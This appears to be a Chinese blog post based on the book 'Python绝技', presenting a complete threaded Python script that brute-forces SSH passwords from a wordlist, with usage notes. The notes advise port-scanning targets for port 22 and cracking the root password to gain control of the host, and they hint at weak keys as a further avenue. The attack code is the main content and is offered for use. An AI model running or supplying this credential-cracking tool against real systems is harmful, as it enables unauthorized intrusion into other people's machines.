700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 【python】ssh密码字典攻击

【python】ssh密码字典攻击

时间:2021-07-29 19:02:12

相关推荐

【python】ssh密码字典攻击

学习《Python绝技——运用Python成为顶级黑客》的第二课

如何对ssh进行破解

ssh类似Windows下的telnet功能,如果服务器开启了ssh服务且允许使用密码登录,那么黑客就能够通过暴力破解或者字典攻击来获取目标的ssh密码,从而实现对目标主机的控制。

先把完整代码贴上来:

# -- coding: utf-8 --#对目标IP地址进行ssh暴力破解#输入方式:python ssh_cracker.py -H 127.0.0.1 -u root -F diction.txtfrom pexpect import pxsshimport optparseimport timefrom threading import *maxConnections=5connection_lock=BoundedSemaphore(value=maxConnections)Found=FalseFails=0def connect(host,user,password,release):global Foundglobal Failstry:s=pxssh.pxssh()s.login(host,user,password)print '[+]Password Found:'+passwordFound=Trueexcept Exception,e:if 'read_nonblocking' in str(e):Fails+=1time.sleep(5)connect(host,user,password,False)elif 'synchronize with original prompt' in str(e):time.sleep(1)connect(host,user,password,False)finally:if release:connection_lock.release()def main():parser=optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>')parser.add_option('-H',dest='tgtHost',type='string',help='specify the target host')parser.add_option('-u',dest='user',type='string',help='specify the user')parser.add_option('-F',dest='passwords',type='string',help='specify the password file')(options, args)=parser.parse_args()host=options.tgtHostuser=options.userpasswords=options.passwordsif host==None or user==None or passwords==None:print parser.usageexit(0)fn=open(passwords,'r')for line in fn.readlines():if Found:print '[*]Exiting: Password Found'exit(0)if Fails>5:print '[!]Exiting:Too many Socket Timeouts'exit(0)connection_lock.acquire()psw=line.strip('\r').strip('\n')print "[-] Testing :" +str(psw)t=Thread(target=connect, args=(host,user,psw,True))t.start()if __name__=='__main__':main()

当然,在写代码之前必须先安装上pexpect这个库,使用debian类linux系统可以使用apt来获取相应的库,比较轻松简单。

该库中提供一个能够使用ssh登录的封装,使用该库只要提供主机、用户名、密码参数即可实现,所以该程序通过不断地加载字典中的每一行当做是密码,从而对root用户的密码进行破解,如果登录成功则会返回登陆成功信息,如果登录失败(提示超时则重复尝试登录5次,提示密码错误则进行下一组密码破解)

另外此程序中使用了线程,处理速度大大加快。

建议端口扫描和该程序配合使用。

使用端口扫描程序获取目标网域的端口开放信息(ssh服务的默认端口号为22),如果目标网域的22号端口开放,并且返回了相应的ssh服务版本号等信息,基本就可以确定该目标开启了ssh服务,然后使用该程序对ssh服务进行密码破解,成功使用root用户登录。

当然现在网络上的许多机器即使开启了ssh服务也不一定会允许root用户登录,有的甚至不允许密码登录,很多是使用密钥免密码登录,对于这种机器,还得另想法子。——比如。。。弱密钥。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。